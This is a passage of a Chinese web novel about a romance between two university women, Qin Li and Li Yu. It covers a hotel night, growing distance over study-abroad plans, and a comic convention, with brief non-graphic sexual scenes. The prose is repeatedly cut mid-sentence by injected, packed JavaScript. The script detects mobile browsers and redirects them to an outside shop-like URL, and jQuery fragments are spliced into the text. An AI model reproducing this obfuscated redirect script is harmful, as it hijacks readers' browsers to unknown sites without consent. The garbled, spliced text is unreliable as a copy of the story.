“谢谢小乖。”黎羽笑着凑过去,又在她唇上啄了下。 室内热气很足。拉开窗帘,两人坐在地板上分吃蛋糕。 落地窗外,桥下树上的彩灯亮着,绕着塘湖一圈,在大雨中微微闪烁着。 两人没有拿纸盘,将蛋糕放在面前,用叉子叉着一人一口。秦离靠在黎羽身上,非要咬在她刚刚吃过的地方,含着,将叉子上的奶油都抿得一干二净。 小羽毛是糯米纸做的,能吃,但秦离舍不得,非说要珍藏起来。 黎羽无奈:“这东西久了就坏了。” 最后,这些小羽毛全部由黎羽衔着,喂给了嘴硬倔强的秦离。 那吻也像羽毛般轻柔,小羽毛被含化了,本应没什么味道,却带着更多津液和气息,变得微甜。 秦离意犹未尽,反守为攻,舌尖凶狠地探入对方口腔,要探寻那微甜香味的出处,却是越探越深,流连其中不肯离开。黎羽纵容着她,直到舌根微微发麻,才不得不抓住她的后颈捏了捏。 秦离身体一颤,软了下来,没有了刚才那副强势的模样。 黎羽哭笑不得:“别急啊。” “才没急呢。”秦离小声道,看着很乖的样子,但心里念着,下次还要这样。 黎羽哪里看不出来她在想什么,也只是嘴上说句,下次也依旧纵容着。 两人都不是爱吃甜的,慢悠悠才吃掉一小半。 秦离捻着最后一片小羽毛,有些舍不得,问道:“阿羽,你刚刚许的什么愿啊?” 黎羽那时候急着亲人呢,哪顾着许什么愿了,不过这么说出来,秦离肯定又要生气。她想了想,逗人道:“许的……明天雨会停。” “啊,好随意,而且怎么不说我们要一直一直在一起啊!”秦离撒娇似口上埋怨,转念一想,“算了,还是不说的好,都说愿望说出来就不灵了。还好你许的不是这个,不然就像那种悲情电影一样,两人在最快乐的时候许下永远在一起的愿望,立下flag,然后就是美好被打破的开始,好虐,好虐。” 她又开始无限联想了。黎羽凑过去,堵住她说个不停的嘴,心想,她不过是希望雨停了,能满足秦离最初的期待。 最后,那片小羽毛还是在两人唇间融化了。秦离恋恋不舍,念叨着:“我们之后一起去做项链吧,有那种可以自己做手工银饰的店。我要做个羽毛的,想一直戴着。” 其实,她也想过做戒指,但戒指承载的含义太严肃了,秦离总觉得离她还很远,还是太隆重了。 就像她从来不说爱一样。 “好。” 室内烛光微闪,整个房间映着昏黄暧昧的色调,氛围正好。秦离又突发奇想了,想到莫德和苏在房间里跳舞的场景,心上微动:“阿羽,我……我想跳舞。” 想到跳舞,她很紧张。毕竟她一直以来都胖,肚子上腿上都是肉,又没怎么学过舞蹈,肢体僵硬,动起来难看死了。但这里没有其他谁,除了黎羽,不会被任何人看见。 她还是想的,想体会憧憬许久的浪漫。 黎羽摸摸她的头,牵着她的手:“没事,我才是完全不会,一窍不通,小乖牵着我,带我跳,好吗?” 秦离又多了点勇气:“好昂。” 秦离用手机点出《指匠情挑》的同名主题曲,缓慢优雅的旋律在空气里流淌。 她拉着黎羽站起来,手心微微出汗,有点紧张,但强作镇定:“没事,很简单的,我们不需要什么舞步,就跟着音乐慢慢动脚步就行。” “好,别急,小乖,呼气。” 秦离这才发现自己秉着呼吸。她脸本来就憋得有点红,闻言更红了。黎羽用手背冰了冰她的脸颊,转移话题:“来,快带带我吧。” 两人的身体贴近,同样的木质香萦绕在周围,带着仍未散去的奶油甜味。 真到这个时候,秦离才发现自己身体僵硬,根本想不到要怎么动。 黎羽亲了亲她的额头,抚摸着她的后背,让她一点点变软,轻柔地安抚她:“没关系,慢慢来。” 两人和着音乐轻轻晃动着,赤足在地毯上踩过,脚尖和脚尖触碰。一开始,秦离还注意着不要踩到黎羽,但慢慢的,她的脚步越来越大,步伐也越来越轻快,晃动的幅度越来越大。 靠近,后退,转圈,秦离的裙摆扬起来,脸上的笑容也越来越明媚。 黎羽牵着她,也笑得甜蜜,目光不曾有一刻从她身上移开。她拉着秦离在牵手之下旋转了三圈,裙摆像花苞般绽放。 落地窗没有关严,白色窗帘被大风吹得整个鼓了起来,飘得很高,扬在两人身后,带着清冷的空气涌进。 秦离放声大笑,倒在黎羽身上,身上微出的汗水让香气变得更加浓烈,像是盈满了整个世界。 “真好啊……” 秦离喘着气,与黎羽四目对视,越靠越近,四片火热而柔软的唇触碰,吮吸着。 空气开始升温,逐渐变得炽热。 今晚,整个房间没有一处不被她们探索着,没有吃完的大半蛋糕被尽数用上,水和泪,流出又被舔舐干净。 一遍又一遍。 最后,两人耗尽了精力,倒在大床上,笑着相拥而眠。 第二天,秦离被房间电话铃声吵醒。她浑身酸痛,像是跑了个无数个八百米,双腿更是完全不听使唤。 “喂……” 秦离抓过听筒,迷迷糊糊。 “您好,这里是酒店前台,温馨提醒您的退房时间是中午十二点,请问是否需要续房?” “唔……不用了……” 她挂了电话,微眯着睁开眼睛,摸了摸旁边,没有人。 “小羽?” 她喊出声,才发现自己嗓音嘶哑,是使用过度了。 “小乖,你醒了?” 听见动静,黎羽从阳台推门而进,整片阳光洒进来,落在她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370174|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上和洁白的床单上,是干燥而温暖的橙黄色。 雨停了。 “雨真的停了!” 秦离兴奋地睁大眼睛,一下子就清醒了。 她想从床上起来,但身体实在不听使唤,险些从床边栽下来,黎羽连忙过去扶着她。 “都怪你。”秦离半抱怨半撒娇着。 黎羽无辜:“但你看上去很舒服,也很开心。” 秦离轻打了她下,强行压了压嘴角弧度,但根本压不下去,笑容里的幸福无法掩饰。最后她放弃了,霸道道:“好吧,我是很开心,也……好啦,我是很喜欢嘛。但……还是怪你!” “怪我。”黎羽笑着应下,给她揉了揉酸痛的地方。 一番打闹后,秦离感觉好些了。她这才注意到,整个房间简直是一片狼藉,蛋糕、水、衣服、纸巾,乱七八糟扔得到处都是,再看时间,已经快一点了,难怪前台打电话在催。 “快,我们收拾下。” 秦离没好意思把事后的乱摊子留给清洁阿姨,坚持着和黎羽一起全部清理了。 今晚火车订的八点,还有一下午的时间。 几日暴雨后的太阳毫不吝惜,将光辉洒满世间万物。原本躲在房子里的人都出来了,大家脸上都洋溢着放松的微笑。秦离也终于有机会见识什么是闭着眼睛都能随便走的临城了。 临城的仙灵寺名气很大,秦离本想去看看,奈何身体状况实在不允许。她不信佛,但家里人都信,所以多少觉得寺庙能够让人内心宁静,因此很爱去。 时间有限,她们最后还是决定就在白桥和虹堤走走。 今天的阳光有些温度,因此风吹着也是轻柔温和的。 断桥和河堤上游客多了很多,小商小贩也都冒了出来,卖些全国通有的工艺品,还有茶叶、藕粉之类的,还有人喊着要不要拍古装艺术照。这次秦离学精明了,没有再当冤大头。 晚秋景色总归没有其他季节来得美,但秦离还是很欢喜。 或许,景怎么都无所谓,最重要的是什么人在她身边。 晚上八点的火车,这次总算没有在柳城时候的兵荒马乱了,回到云林已经是晚上十一点。 两人分别回了自己的宿舍,秦离还接受了室友一番善意的起哄,将最近的学校通知和课程作业都分享给她。 接下来,两人都变得加倍忙碌。 除了工作,黎羽还要准备毕业论文的事。秦离这边,九门课的结课作业和期末考试也全部压了过来,其中还包括前期她纯爱好选修,结果老师超难搞的课程。 哎……不听前辈言,吃亏在眼前啊。 对了!还有年底的漫展,群里说好了要一起再出旅团大队! 这或许是她毕业前的最后一次大队了。 许多事情搅在一起,让秦离也顾不上维系和黎羽的甜蜜日常。 这时,她的雅思成绩也出来了。出乎意料的,那天看着对她很不满意的考官,居然给了6.5的好成绩,至少对她来说是很好了,写作也有6.5,均分7.5。 这样,单科和均分都能达到大部分学校的留学申请要求了。 45. Chapter 45 雅思培训群里在纷纷晒成绩,有人欢喜有人忧。 培训老师平时就很看好秦离,私聊问她成绩如何,秦离将成绩单拍照发了过去。 【可以啊,这个分数很不错了。之后你如果有精力,可以再刷刷分,不过这个基础分是够了,可以把重心放在其他准备材料上。】 秦离犹豫着,还是将自己不打算出国的事告诉她了。 培训老师震惊,特意播了语音过来,跟秦离讲了二十多分钟的电话,询问她的情况。秦离跟她说了自己的顾虑,主要是觉得时间上来不及,而且自己也没想好出去读什么专业。 老师人很好,跟她一一解惑,说不同的国家申请时间不同,她现在才大三下,直到大四上结束,其实都有申请机会。至于专业和学校,都还有时间慢慢去了解,这两年TESOL是热门专业,很适合她,只是语言基础要求就更高了,她也可以考虑从金融、社会学等方向去申请。至于她最初设想的文学领域,其实是不太建议的。 老师说得很细致,最后有一段话打动了秦离。 你都投了这么多时间和金钱进来,就这么放弃也太可惜了。反正还有时间,不如就继续准备着,万一慢慢摸索到自己喜欢的方向了呢。 退一万步说,就算到最后收到offer了,到时候都还可以再考虑去还是不去呢。 而且,秦离的性格会很适合在国外呆,说不定能找到自己真正喜欢的生活。 最后一句也是秦离最初选择出国的初衷。 她原本坚定的想法又动摇了。 挂完电话后不久,秦离又收到GRE老师的消息,问她这周来上课吗,还提醒可以跟着其他班上课补前面的进度。 她暑假前一时冲动,报了个九月份开学的GRE培训班。这两个月陆陆续续上着课,最近就老是请假不去,作业也没好好完成。除了心思都放在黎羽身上外,也确实是手上一堆事,力不从心。 这种同时做了许多安排,实际根本顾不过来的情况也不是头一回了。 她总是这样,什么都想要,哪个都不想放弃,总觉得拼一拼都能干下来。或许实在到了不得不放弃的时候,自然知道自己更想要的是哪个了。 最后,秦离还是决定,继续准备着吧,好歹GRE交了大几千块钱呢,至少先把课上完。反正雅思也考完了,剩下的就是刷刷绩点,准备CV和推荐信啥的了,应该也不会花很多时间。 至于考研……南昕不是说大多数人一般翻过年三四月才开始准备吗。她也不是纯粹新手跨考,好歹一直在L大上法学专业课呢。 来得及,肯定来得及的。 考虑好后,秦离就陷入了加倍忙碌中。她觉得自己的想法很合理,却逃避式地没有告诉黎羽。 反正现在还没到时候呢,而且黎羽最近也这么忙,等她俩都闲下来再说吧。 两人的时空开始错位。 黎羽花了两个星期时间快速写完论文后,回公司忙得天昏地暗,便不得不减少回学校这边的次数,只有周末才回来趟。秦离则背着电脑包,辗转于不同的课堂之间,看书、刷题、写材料。 秦离也主动去公司那边找了黎羽几次。但她大部分时候不在公司,即使在,不是在接待客户,就是跟同事商量项目细节,只匆忙交代秦离先等等。这等,往往就是快一个小时。事后,黎羽总是很愧疚,但又说不出让她不来的话。 每次,秦离坐在那里,看着公司里众人忙忙碌碌,偶尔有路过的人偷瞄她,就浑身不自在。她觉得黎羽和她被隔在了两个不同的世界,对方在那边世界好像如鱼得水,而她在这里显得格格不入。 而且,她也不想让黎羽为难,让公司里人说闲话,觉得她公私不分。于是久而久之,她便不来了。 明明都在同一个城市,一个半小时的路程,却生生阻隔了两个人,每周的见面变成了唯一的渴望。 不仅如此,两人连消息来往都比过去少了很多。 秦离这边自由些,虽然课很多,但总是忍不住给黎羽发消息,一贯说很多话,分享当天的很多事。黎羽那边,回消息的频率却是越来越低,往往秦离当时分享的心情都已经过了,才收到她的反馈。 她不可能随时看手机,秦离知道的,但难免心情低落。 直到有一次,秦离不小心分享了重复的视频链接过去,黎羽却完全没察觉,她才意识到,黎羽或许根本没有看她分享的内容。 她在手机上往前翻了翻,意识到黎羽回复的翻来覆去都是那几句话,要么是“我这会有点事,晚点再看”,“挺有意思的”,或者干脆直接问她今天过得怎么样,大概都是这么些意思。 热恋的时候不会察觉,等最近的倦意上来后,秦离终于后知后觉,她喜欢的那些,什么二次元啊,网上的搞笑视频啊,那些稀奇古怪的想法,黎羽原本都是不感兴趣的,只是因为是她,才会有所回应。但现在忙起来了,这些回应失去高涨的情绪依托,便变得干涩。 慢慢的,秦离又将这些分享发给了更懂她,会给她热烈反馈的朋友。 黎羽的朋友圈也逐渐被公司项目宣传和活动介绍占据,不再有她自己的生活碎片。 秦离知道,她的微信也不再只有她一个人,也不可能只有她一个人。 过往她最讨厌的就是朋友在朋友圈发这种像商业广告的内容,但换成黎羽,她也能理解了。是不得不这样吧,毕竟不再是单纯的学生仔,出身社会了啊。 她都懂的,只是——不习惯这样的节奏。 社会,像一个张着巨口,里面黑漆漆的迷雾状庞大怪兽,吞噬掉一切她熟悉的人和事。 所有人都有去无回,面目全非。 只有她,抗拒进入这迷雾。 秦离想着,等等吧,等期末考试结束,等寒假来了,她还能好好跟黎羽一起出去玩。 这天,她分享了一条GRE课程打卡的朋友圈,但忘记屏蔽黎羽了。平时她都会注意屏蔽她,不让她看见的。 毕竟,她还没想好怎么跟黎羽解释,明明之前已经说好不出国,准备考研了,现在却还是在上课。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370175|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她发现的时候已经发布有两个小时了,本来准备赶快删掉,猝不及防看见黎羽已经点赞了。 她只点了赞,什么评论都没写,也没给秦离发任何消息。 秦离开始惴惴不安。她不能再删这条动态了,不然显得更加刻意,但她也不敢发消息过去问黎羽是什么反应,主动提起这件事。 该死,明明最近都隔很久才回复自己消息,怎么这次就看得这么快…… 这几天,秦离都因为心虚,没再给黎羽发多少消息。 两人那个周末的见面,不知道是不是秦离自己心理作用,总觉得黎羽比平时要冷淡些,话也要少些。 她自己不敢开口问,怕黎羽其实没多想,自己不打自招了,因此也显得有些畏手畏脚,没有说太多话。 两人就这样冷冰冰地吃了饭,看了电影,压马路回去,做着和平时一样的事情。 到最后宿舍楼下要分开的时候,秦离受不了了。 黎羽跟她说晚安的时候,她突然冲上去抱住黎羽,将头埋进她的脖颈。 她抱得很紧,但不敢看她的表情,声音闷闷的:“你不要生我的气。” 黎羽没有回抱,但也没有推开她,沉默了会才道:“我没有生气。” 秦离委屈着:“但你今天好冷,都不怎么说话。我给你解释,你不要生气。” “……嗯。” 两人其实都知道对方说的是什么。 秦离颠七倒八地说了一通,将自己全部心路历程都说出来了。 她的心扑通直跳,等待着对方的审判。 或许是感觉到秦离的不安,黎羽轻轻抚摸着她的背脊,慢慢道:“我真的没有生气。” 察觉到黎羽的态度软化,秦离马上顺杆子往上爬:“那你亲亲我……” 她很委屈:“你今天都没有亲我。” 黎羽无奈叹了口气。 她在秦离额头上印下很轻的一吻,看着她亮晶晶的眼睛,又在她的眼上落下一吻。她遮着秦离的眼睛,最后亲了亲她的唇。 蜻蜓点水。 “抱歉,我最近真的……太累了。等过了这段时间吧,过了这段时间……再说……” 她最后两个字落得很轻,近乎咬在了齿间,秦离没有听清楚。 秦离心里有些愧疚。她知道黎羽最近很忙,自己还让她这么烦心。 过了这段时间啊…… 她也是这么想的,既然现在事情都已经说清楚了,那就没什么好担心的了的。 过段时间,她们就有时间好好再维系感情了。 就像之前那样。 “好哦,那晚安啦,你回去好好休息。” 秦离眼睛弯弯,笑眯眯的,脸上没有任何阴霾。 “嗯,晚安,快回去睡吧。既然决定了,就……好好准备考试。” 说到这个话题,秦离还是有点别扭,含混过去:“那我上去啦!” 她跑得很欢快,未曾注意到,黎羽的身影落在了阴暗处,看不清脸上的表情。 46. Chapter 46 危机似乎过去了,但秦离心里还是不得劲。 她觉得和黎羽之间没有之前那种畅快的感觉了。原本她觉得她们之间是那种独一无二的爱情,就像电影般梦幻,每日都是期待和欢乐,但现在日复一日,多了些困乏,像进入了狂欢后的冷淡期。 她有心想要改变这种局面,却不知道从何下手。 这天晚上,秦离难得偷闲,边在客厅做玛奇的假发造型,边和李清韵聊天。 下周末就是大队约好的漫展日了,她们团打算一起去游场,拍点场照。翻过年,出国的出国,毕业的毕业,退圈的退圈,再没有机会了。 李清韵将电脑抱到客厅,边写材料边听她诉说烦恼。 “其实除了朋友圈那件事外,我们从来没像其她情侣那样吵过架,当然那件事上也没吵。她还是很温柔,对我很好,我也依旧很喜欢她,和她的每一次相处都很开心,但……就是觉得我们之间有什么东西跟之前不一样了,我觉得有问题,又不知道问题在哪里,该怎么去解决。清韵,你说我该怎么办?” 李清韵听秦离说得最多,是她和黎羽恋爱的全程见证人。她虽然母胎单身,但旁观者清,见怪不怪,边手下敲着键盘边道:“其实就是热恋期过了。你们谈了也差不多三四个月了吧,时间刚好。而且她也快毕业了嘛,也正常,好多校园恋爱不都是到毕业就……” 她话没说完,但意思很清楚了。 也怪不得她语气平平,毕竟谁听秦离说了千百回和黎羽的事,也要麻了。 “我和黎羽不一样,才不会受这种因素影响。” 秦离嘴上反驳她,夹板却是一顿,烫到了手指。她颤了下,将烫着的部位送到口里抿着,嘴上也没歇:“清韵~你帮我想想,到底怎么办嘛~” 李清韵停下动作,无奈给她出主意:“要不你们多去玩点不一样,之前没玩过的?每次都是吃饭看电影的话,久了确实会无聊吧。” “有道理耶!”秦离眼睛亮了,“那我想想,要去做点什么呢?” 转念一想,秦离情绪又落下来了:“哎,但是也要阿羽有空啊……” 李清韵只能接着劝:“你回头问问吧,不问问怎么知道没空呢。” “也是哦。”秦离又笑了,情绪起起伏伏的,哼着歌继续兴致勃勃弄假发。 李清韵无声叹了口气。 她很了解秦离的性格,三分钟热度,追求新鲜,所以并不太看好她和黎羽这段感情。 不过恋爱嘛,快乐就好。 又过了两天,周五的晚上,黎羽又要加班写方案,结束就睡在公司附近租的房子里。也亏得她们公司偏,周围租房算不上贵,大家干脆找了间三室两厅的,搭了几架高低床,方便加班太晚的人休息。 黎羽工作日大多时候不回来,便是住在这里,也是在这里住得最多的人。 知道今天黎羽又不回来,秦离习以为常,但难免情绪低落。看着黎羽这么拼,她有些心疼。 【今天就你一个人加班吗?】 【嗯呢,她们去外地现场了,我在对接新项目,难得谈下来的大生意哦。】 【那太好啦。那你别熬到太晚哦,身体也很重要呀[抱抱]】 【嗯,我尽量早点做完,明天会回来的,这周末都没什么事了。】 【好哦~[开心][开心]】 放下手机,秦离躺在床上放空。 今晚的课临时取消,她难得空闲,突然不知道该干什么。 要不……去公司那边找阿羽? 脑子里突然冒出这个念头,秦离越想越觉得行。 反正今晚只有阿羽一个人在嘛,也不会像之前去找她那么尴尬。 说动就动。 秦离换了件格子大衣,对着镜子理了理,纠结了下,还是没戴厚厚的围巾。 嗯,不臃肿。 秦离满意了,出门往东部新区奔去。 近两个小时的路程,在离公司最近的地铁站下车时,已经十点了。 出来便是一阵大风,吹得人身体缩成一团,秦离整只手变得冰冷,在风中瑟瑟。 门口有一家全家,秦离进去,发现还有些关东煮没卖完,全部买走。握着纸杯,她的手心勉强有了些温度。 到写字楼楼下时,秦离看见还有些格子间亮着灯,每一间都是正在燃烧的火热生命。 她没有告诉黎羽自己要来,微信上的聊天记录还停留在两个小时前。 电梯向上,她的心跳如鼓,越来越快。 到门口,秦离才发现玻璃门锁着,里面黑黢黢的。她有些懊恼,担心黎羽已经走了,不得不给她发消息:【方案做的怎么样了呀?】 黎羽回得很快:【已经做完了。】 秦离心里一紧:【那你还在公司吗?】 【怎么了?】 黎羽反应很快,紧接着又是一条消息:【小乖你过来了?】 惊喜没了。 她还没来得及回消息,电话突然响了,是黎羽打来的。 她那边喘着气,好像在跑动,声音却很轻快:“小乖,你在我们公司门口吗?” “……嗯。”秦离委屈巴巴的。 黎羽声音乘着风,带着笑意传来:“乖,等我会,我马上到。” “好哦。” 秦离又觉得没那么失落了。 她蹲在门口角落里,缩成一团,捧着关东煮,汲取剩余的热意。 没过几分钟,电梯声响,有急促的脚步声靠近,来到秦离面前。 她抬头,看见黎羽背着挎包,跑到自己面前,还戴着她之前送的紫色围巾。她手撑着膝盖,呼吸急促,喘了两下,将落在前面的刘海往后撩开,眼神明亮。 “小乖……” 秦离呆呆看着她,心脏怦怦直跳,说话都不太利索:“你……” 黎羽笑容灿烂,捏了捏她的脸:“怎么傻乎乎跑过来,不跟我说?还好我才离开一会……你脸好冰,怎么穿这么少?” 秦离傻傻的,由着黎羽将她拉起来,又将围巾取下来,围在她脖子上。 “我……我给你买了关东煮……” 她还当机着。 “好哦,谢谢小乖啦,我们进去吃。” 黎羽心情看上去很好,连眼角都带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370176|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意。她打开玻璃门,将灯和空调都打开。 两人窝在一楼的沙发上,吃掉已经变温的关东煮。 带着暖意的氛围灯,让秦离的心也暖暖的。 室内温度还没升上来,两人依偎在一起,秦离坚持将围巾的另一端绕在黎羽脖子上。 “这么开心呀。” 最近很难得看到黎羽如此轻松的神态,秦离也心情雀跃。 “看到小乖来,我当然开心呀。” 今晚的黎羽,嘴里好多甜言蜜语,听得秦离心跳降不下来,眉梢都洋溢着幸福。 公司房子里还有其她人在。秦离来了,黎羽便不打算回去,订了附近的酒店。 两人关好门,牵着手往酒店走,任谁看了都知道这是对甜蜜的情侣。 黎羽在楼下买了些吃的,秦离还拿了两瓶酒。 昏黄的路灯下,小雨在空中乱飘,更冷了,但两颗心却是火热的。 两人的影子紧贴在一起,被拉长,又变短。秦离看得了乐趣,挽着黎羽的手臂,拍下许多影子。 下一个转角处摆着探照对面车辆来往的凸面镜,汽车在其中一闪而过。 秦离凑了过去,手指轻轻戳了戳镜面,感慨:“我以前还以为这个是硬的玻璃呢,没想到这么软。” “要是玻璃,不小心碎了就麻烦了。” “也是哦,太危险啦。” 两人说着没营养的对话,秦离掏出手机,兴致勃勃想拍镜中的她和黎羽。 她换了手机后,跟黎羽买了情侣手机壳,是只眯着眼的白兔子,一个站着,一个趴着,跟流氓兔有点像,但比流氓兔更软萌些。 秦离非让黎羽把手机也举着。两人头挨着头,被一条围巾连着,十指紧扣。 雨润湿了她们的发。 很快,雨开始下大,两人终于加快速度,牵着手跑到酒店的屋檐下,相视一笑。 窗外的雨一直下着,房里的灯一直亮着。 醉生梦死,一晌贪欢。 秦离喜欢这样的感觉,前阵子的困乏仿佛都是一场错觉。 事后,两人靠坐在床头,耳鬓厮磨,说着些温存的话。 秦离又要了支爆珠,黎羽便陪她一起抽着。 吞云吐雾。 黎羽难得话很多,说着近期公司的事,说着她谈下了哪些业务,目前这个正在准备的项目更是如何重要。 秦离不太懂,但看她兴奋的模样,知道是事业有起色了,也为她开心。 但这一切,还是离她太远了,懵懵懂懂。 秦离想到了前几天李清韵的话,心里有了念头,说起下周的漫展。 “这次活动我很期待的,阿羽,你陪我一起去嘛~” 她想要给黎羽看自己喜欢的东西。 黎羽一开始有些犹豫,但看着秦离期待的眼神,又想着下周末确实没什么事,便答应了。 秦离更欢喜了,拉着黎羽说个不停,关于她们这次大队,关于她喜欢的一切。 黎羽平时并不怎么看番,只知道最出名的那几部,便听她说着。 一切看起来都很好,会很好。 47. Chapter 47 漫展前几天,黎羽说要去理发。 她头发已经比夏天时长很多,发根也长出了黑色,想着修一下,再考虑要不要补点色。 秦离陪她一起去的理发店,翻着色卡,对黎羽兴奋道:“阿羽,你试试这个颜色吧,一定超级好看!” 是银灰色,比黎羽现在的发色要浅很多,看上去就很酷。 这颜色对黎羽来说太高调了,她没答应,但也考虑换个颜色,最后选了较常见的亚麻色,没那么深。 秦离有些失望,但还是很期待,陪着黎羽从中午坐到晚上。最后完成时,她两眼发光,根本移不开目光。 亚麻色短发衬得黎羽更白了,简单修理后显得很有型。她对着镜子抓了抓,碎发从指缝滑走,整个人显得更加慵懒。 “还好?” 秦离说话都结巴了:“阿羽,你,你真的是太太太好看了!” 黎羽抿嘴笑着。 漫展当天,秦离三点就爬起来了,在宿舍捣腾妆发,全副武装又在外面裹上羽绒服,才给黎羽打电话:“阿羽,起床啦,我这边基本ok,等你好了我们就出发。” “唔……” 这时才不到七点,黎羽迷糊着,秦离听她的声音觉得怪性感的。 “这么早啊……” “不早啦,场馆十点放人,我们还要过去排队呢。” 她之前去漫展一般六点就出门了,这次还是想让黎羽多睡会,到这个点才叫她。 “好……” 黎羽声音黏黏糊糊,秦离听着,偷笑着:“那我过来找你哦。” “好……” 秦离跑到黎羽宿舍,把她吓了一跳。 “小乖?你……你直接穿过去吗?” “对呀,这样比较方便嘛。” 这个角色是紫色头发,踩着木屐,十分显眼,可以预想出去回头率绝对百分百。黎羽挣扎着,突然有点不想出门了。 秦离一眼看出她的想法,拉着人往外走:“你答应了,要陪我去的。” 一旁,陈玲嘉倒是拍手称赞:“很好看呀,小羽,你今天也该一起出cos的,多配。” “对哦!”秦离后知后觉,黎羽无比庆幸。 最后,在秦离的强烈要求下,黎羽穿了件黑色皮衣,里面搭着浅灰色的抓绒卫衣,下身是浅蓝色的宽松牛仔裤。 今天太阳很好,穿这身正合适。 很随意的一套衣服,却看得秦离心动不已。 她拉着黎羽,看看正面,又看看侧面,看得黎羽都不自在起来:“好了,不是说要赶紧过去排队吗,走吧。” “好!” 秦离脸上笑开了花,路上走两步,又要转过来瞄黎羽两眼,然后笑得更灿烂了。 黎羽无奈,拍了拍她的头:“都笑成傻子了,快走吧。” “嘿嘿,好哦。” 到场馆时已经九点多了,门口排起了看不到尽头的无敌长队。 黎羽是头一次到漫展,看什么都挺新奇。 今天这个是全梦城最大的漫展,她怀疑是不是全城的二次元都来了,人山人海,特别挤。 秦离指着各种角色跟她说出自什么作品,有许多家喻户晓的动漫cos,也有影视武侠人物,连黎羽都认得出,看着倒还挺有意思。 两人排了一个多小时才进去,大队基友们约好在固定摊位汇合。 “啊啊啊啊啊——” “啊啊啊啊啊——” “我的玛奇,快来快来!” “走开走开,我要找我们派克姐姐。” “天啊,你们从哪里薅来的大背头团长,也太帅了吧!” “好家伙,今天居然有藏马。等等,这是马鹿王子吧,连他都能找来,团长你是这个!” “今天不止是我们旅团,人都有了,老贼在麻将桌上也无憾了呜呜。” “火车,等下一定要在馆子里开火车啊!” 一碰面,整个场面就闹开了锅。秦离没想到团长这么给力,除了自己大队,把老贼三部作品里的许多角色cos都拉在一起了。 呜呜,洒家这辈子没有遗憾了。 陷入跟同好聊天的狂欢之中,过了好一阵子,秦离才意识到黎羽还站在旁边。 她从人群里艰难挤出来,不好意思道:“阿羽,你稍微等我下哦。我先跟她们去游一圈,很快!回来我们再游场逛逛吧。或者你先逛也行,总之我们都在这里汇合。场馆里信号太差了,打电话可能找不到人。” “好。没事,你去吧,我先到处看看。” “好哦!”说好了,秦离一下子放松下来,又指着摊位看板娘,“对了,这是木木,她看摊子,有什么可以找她。” 木木本来好奇地悄瞄着两人,见她们看过去,惊了下,局促地低头将脸埋进画板里。 “额……她比较害羞,但总之有事找她就行。” 黎羽点头。 秦离被拉走,一人搭着一人,火车长队开起来咯。 前后基友这才好奇地大声问她:“刚刚那人好帅啊,是你同学吗?” “不是啦,我……我对象。” “哇——”前前后后的人都闹开了,“你可以啊阿离,说好的大家一起当单身狗,你居然一个人跑去做了现充!” “FFF团出动,前面就有!高举火把,烧烧烧!” “你们别呀,哈哈哈哈……” 众人打闹,一阵兵荒马乱。 过了会,跟秦离关系好的蒸蒸凑了过去:“阿离,你不去看凤栖吗?” “诶?凤栖来了吗!!我没看到她大眼上说要来啊!” “你不知道啊?我就说你怎么这么淡定。她这次没摆摊,估计是临时决定过来玩玩。” “快快快,跟我说在哪里,她等会走了怎么办。” 秦离心提得很高。 凤栖并不是梦城人,因此梦城漫展上看到她本来就不容易,这次秦离没想到还有意外惊喜。 “哎哟,”蒸蒸打趣她,“我还以为你谈了恋爱后对凤栖没那么热情了呢,你对象看着也很帅啊,出cos的话,别说,看着就是圈内大大的脸。” “她对这个不感兴趣啦。”秦离有一丢丢心虚,但想着自己只是去看看,“凤栖出cos那么还原,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370177|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是全部自己动手的六边形战士,很难不喜欢啊。” “去吧去吧,那我们先去拍点场照,你等会过来拍群像啊。” “好哦。” 秦离跑到蒸蒸说的摊位,果然看见了凤栖。她今天出的是费里德,吸血鬼,一身白衣,好适合她。 秦离又有些紧张了,跑过去跟她集邮。 出乎意料,凤栖居然记得她,还叫了她的角色名。也是,她可是把她出的所有cos周边全部买齐了的。 